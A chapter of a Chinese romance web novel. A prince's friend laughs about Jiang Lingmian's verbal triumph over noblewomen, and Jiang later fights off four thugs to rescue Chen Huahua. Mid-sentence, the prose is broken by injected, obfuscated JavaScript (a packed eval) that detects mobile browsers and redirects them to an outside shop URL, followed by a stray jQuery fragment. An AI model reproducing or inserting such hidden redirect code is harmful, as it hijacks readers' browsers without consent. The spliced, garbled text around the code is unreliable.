“哈哈哈......”陈耀池在太子府的书房中笑得直不起腰来。
京城说大不大,说小不小,贵女的圈子来来去去就那么些人,傍晚时候街上的对峙,也不知道是从谁开始传开的,越传越广。
不知道传没传到谢聿澜的耳朵里,反正是传到了陈耀池的跟前,他想也没想就跑来了太子府,一句话还没说,自己已经乐上半天了。
不必谢聿澜开口,齐既已经很有眼力见地请来了大夫候在门外,生怕陈耀池真的出了什么好歹。
“到底是什么事儿?”谢聿澜自他进门起,半个时辰,一份公文都没能看完,满脑子都全是陈耀池的笑声,“是中了毒吗?孤让齐既给你请个大夫来。”
候在门外的大夫理了理自己的衣袍。
“诶哟,不是,今儿傍晚的时候,发生了一件趣事儿。”陈耀池好不容易停了下来,走到书房门口,将门合上,但又实在忍不住,头靠在门框上又是好一阵“哈哈哈”。
谢聿澜无奈地捏了捏眉心,“你若是再不说,孤现在就让齐既请你出府。”
候在门外的齐既理了理自己的衣袍。
“不必不必。”陈耀池连连摆手,坐在椅子上,喝了口茶平复心情,随即又卖了个关子,“不过这件事儿还是花花告诉我的,说是江姑娘一人嘴斗好几位贵女,把人都给说哭了,尤其是那位姓曲的姑娘,直接哭着跑回了府,说定要让她爹给她做主。”
谢聿澜本是对他口中的话没什么兴趣,但江姑娘这三个字如今又委实能够牵动他的心神,便耐着性子停了下去,只是越听越不对劲。
“嘴斗?”
“可不是吗?”陈耀池说得有模有样,不知道还以为他刚亲身经历,“就纯靠一张嘴,打败了一群人,不愧是我看上的女子,就是厉害!”
他颇有一种与有荣焉的感觉。
“花花还说,那群人说,她们一开始以为江姑娘是想打她们的,没想到她扭了个头,再转回来就不打人了。”陈耀池凑到谢聿澜的桌案边,盯着他略有些失神的眼眸,好奇地问:“你猜江姑娘到底是被什么改变了想法?”
问完,陈耀池又觉得有哪里不对劲,坐回了椅子上,想了半天,才憋出来一句,“不对,江姑娘这么柔弱的女子,哪里会打人呢?那群人肯定是看错了。”
虽然没有见识过江铃眠打人,但被当事人亲口告知过的谢聿澜:“......”
他微微叹了口气,“就这些?”
陈耀池不明所以地点头,“那不然呢?若是我当时也在,定然能说的更具体些,这么些人传下来,说不定还漏了些什么。”
话说到这里,陈耀池的眼眸忽然亮了起来,一巴掌拍在了案面上,原本堆成山的公文跟着抖了抖,“对了,我明日约了江姑娘见面,到时候亲自问问不就好了?”
他咧着嘴打开了书房的门,“罢了,与你说也是无趣,殿下还是继续处理公务吧。”
他抬脚走了出去,这才看到一左一右站在书房两边的人,一个抱剑,一个抱药箱,他不明所以地挠了挠脑袋,凑到齐既跟前,冲书房里已经重新将公文拿起来的谢聿澜努了努嘴,“怎么,你家殿下病了?”
他看着齐既的眼神中不免带上了些许的谴责,怎么说,谢聿澜也是他多年的好友,他多关心一下他的身体再正常不过,“你是他身边最得力的属下,怎么着也要劝着他一点,国事再重要,哪有自己的身子重要?”
齐既不语,只是一味地守在书房门口,站得笔直。
陈耀池叹了口气,觉得作为属下的不关心谢聿澜,那自己这个好友也不关心他的话,那他也太惨了。
这么想着,他转身又要进去叮嘱两句,却被齐既拉住了。
“殿下身子没事。”
“那这是......”陈耀池先是松了口气,随后疑惑地看向另一侧的大夫。
齐既抿了抿唇,有些难以启齿,“陈将军莫要多问了,不过天色不早了,陈将军若是出府的话,能否劳烦您把这大夫一起带走?”
“当然行。”陈耀池可没那么多讲究,不过是顺路的事情罢了。
门外细碎的交谈声逐渐消失,最终归于平静,那本看了许久也未曾看进去的公文,即便是陈耀池离开后,谢聿澜也未能看进去半分。
他的目光落向窗外,唇边勾起一抹浅淡的弧度,望向黑沉夜空的眸子里藏着他自己都没有察觉的,星星点点的纵容和无奈,一声极轻却透着愉悦的低语落在一室的寂静中,转瞬又被温柔的晚风悄悄带走。
“不是不想听孤的话吗?”
府门口,大夫拉住了要离开的陈耀池,郑重其事地往他手中塞了一个小瓷瓶,“小将军,这是可以暂缓你笑症的良药,你且备着,若是日后还有如此症状,切莫讳疾忌医,可以来寻老夫。”
陈耀池:???
......
因着是和陈耀池约定好一起去喝茶的日子,江铃眠难得的没有赖床,在兰兰给自己梳妆的时候,她的目光不受控制般落在了那个木匣上。
昨儿回府以后,她便将这木匣放在了梳妆台上,也没去理会,更没有打开。
如今......
“昨日殿下买了不少,看看有没有能用的,今儿就用上吧。”
“是。”
等她收拾妥当后,已经是半个时辰后了,她带着兰兰直接出了府,直奔与陈耀池约好的醉香楼。
“哟,这小娘子长得可真不赖啊。”因着从尚书府去醉香楼,要穿过一条僻静的小巷子,江铃眠带着兰兰本想要加快些脚步,但没成想,会遇到几个猥琐的男人围堵着一名姑娘,出口便是些难听的污言秽语。
兰兰拽了拽江铃眠的袖子,“姑娘,咱们别多管闲事吧。”
见到这场景,她多少有些害怕,生怕那些人一个不高兴,她们也遭遇和那个姑娘一样的下场。
江铃眠蹙了蹙眉,眸光落在那姑娘的身上,却见她虽然背抵着墙,但一眼就能看出她在强撑着,肩膀抖得不成样子,牙关紧咬,怕是下一秒就要忍不住蹲下来哭了。
她最是见不得这些。
诚然,她没有办法帮助每一个人,但是在自己能力范围内的,她从来都是能帮则帮,况且,这姑娘看起来......怪可爱又怪可怜的,白白净净的,是完完全全能激发她的保护欲的类型。
那边的几个男人虽然围着陈花花,但是江铃眠这边的动静,他们也是听到了,矮个子用胳膊肘怼了怼旁边的胖个子,“胖哥儿,那姑娘长得也不错,不如......”
他“嘿嘿”笑着,其中意思不言而喻。
被叫做胖哥儿的男人往江铃眠的方向看了一眼,就这一眼,他感觉自己的眼睛都被洗干净了,“瘦小弟,不错啊,这姑娘长得好,一起弄过来,今儿运气还真不错。”
他拍了拍瘦小弟的肩膀,放心地将任务交给了她,自己则是与另外两个男人继续堵着陈花花,“小美人儿,跟哥几个走呗,少不了你吃喝的,只要你把我们伺候好,我们......”
“我呸,就长成你们这样,你们也配?别用铜镜了,现在找个没人的角落撒泡尿照照吧,什么丑东西?”陈花花毫不客气地翻了个白眼,对丑的事物的恶心程度已经远远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766790|209729||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
超过了身体和心理的害怕。
胖哥儿目露凶光,“我告诉你,你别......”
“别敬酒不吃吃罚酒是吧?我爹总是那么骂我,我都听腻了。”陈花花掏了掏耳朵,心里却在打着鼓。
方才她的小丫鬟趁乱溜走了,想来是去喊帮手的,只是不知道怎么这么长时间了,人还没来?
江铃眠刚走近几步,瘦小弟就拦住了她的去路,“美人儿,一起去玩玩啊?”
他自以为帅气地冲江铃眠挤了挤小眼珠子。
“行。”江铃眠别开眼,应了声。
陈花花看到有人主动走过来找死,眼睛都瞪直了,但面前的这个人有点眼熟,有点像是......
她惊呼一声,但又觉得现在喊名字多少有些不合适,便将到嘴的称呼咽了下去。
两人并排站在一起,但一个依旧紧张,一个神态自若。
“你们几个,知道这么做的后果吗?”江铃眠一直都奉行先礼后兵,上来就打架不是她的风格。
几人对视一眼,像是听到了什么笑话一般,“能有什么后果?难不成你们还能回去找你们爹娘告状啊?告诉你们,回了咱们几个的寨子,就别想着回去了,门儿都没有。”
江铃眠了然,“可以,既然几位这么自信,那开始吧。”
几人对视一眼,茫然地看着江铃眠开始活动手腕。
瘦小弟“切”了一声,“老大,她是不是觉得自己一个人可以打倒我们四个啊?”
下一秒。
“砰。”
瘦小弟惨叫一声倒在地上,捂着脸哀嚎。
其他三人不可思议地看看瘦小弟,又看向江铃眠,然后一起冲了上去。
陈花花拉着兰兰躲在一边以免误伤,一边看一边感叹:“你家姑娘这战斗力......可以的。”
“不过,三个大男人欺负一个弱女子,是不是太不像话了?”
兰兰正着急着,生怕江铃眠受伤,听到陈花花的喋喋不休,只觉得头疼得很。
只是不稍一会儿,四个男人便整整齐齐倒在了地上,要么捂着脸,要么摸着胸,要么抱着腿,要么蜷着。
江铃眠甩了甩手,还别说,好久没有打拳,多少有些生疏了,她脑子里的第一反应是回府后加强练习,第二反应才是转身去找兰兰。
看到缩在兰兰身边的陈花花,江铃眠越看越觉得可爱,年纪看起来不大,胆子也小小的,这样的女孩子最有意思了。
她的声音不由得夹了些,“你是哪个府的?姐姐送你回去好不好?”
陈花花简直不敢相信自己的耳朵,她怎么有种江铃眠把她当小孩的错觉,但别说,刚被狠狠保护的感觉正上头着,陈花花如今怎么看江铃眠,怎么喜欢。
正想说什么,一道急促的声音破空而来,“姑娘!”
随即一个小丫鬟带着浩浩荡荡的一群打手冲进了小巷子里,正想要问陈花花人都去哪里了,低下头,就看到了那四个大汉躺在地上。
一众人:“......”
小丫鬟担忧望向陈花花:“姑娘,您受伤了吗?是谁救的您?”
陈花花摆了摆手,“没受伤,自是高人所救。”
说着,她看向江铃眠,调皮地吐了吐舌头。
“草草,你让他们都回去吧,我一点事都没有。”
言罢,她挽上江铃悠的胳膊晃了晃,白净的小脸上漾开明媚的笑意,她的嗓音清脆又裹挟着些许的天真:“我刚要去醉香楼找我哥哥,听说他今儿约了个姑娘见面,那姑娘很可能是我未来的嫂嫂,姐姐要一同去凑凑热闹吗?”